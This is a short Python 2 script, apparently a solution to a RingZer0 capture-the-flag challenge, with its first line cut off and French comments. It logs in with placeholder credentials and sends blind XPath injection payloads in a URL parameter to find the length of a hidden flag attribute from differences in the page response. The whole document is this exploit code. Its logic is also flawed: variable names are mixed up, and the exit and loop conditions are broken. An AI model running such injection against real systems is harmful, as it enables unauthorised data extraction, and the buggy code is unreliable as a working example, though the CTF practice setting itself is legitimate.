rt urllib
import urllib2
import cookielib

#url challenge et site
chall = "challenges/83?u="
url = "http://ringzer0team.com/"

#data de login
username = "hohoohohoho"
password = "hehehhehohohohohoh"
data = urllib.urlencode({"username": username, "password": password})

cookie = cookielib.CookieJar()
web = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))

web.open(url+"login",data)
tab = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$&()*,-./:;<=>?@[]^_{|}~";
reponse= ""
trouve=0
i=0
taille=0

while trouve != 1 :
        injection="and string-length(/Users/user/@flag)="+str(i)+"][""a""=""a"

        source = web.open(url+chall+injection).read()
        response = source.find("does")
        if (response == -1):
         print reponse
         trouve=1
         exit

        else:
                i=i+1
print "Voila"
print i
print trouve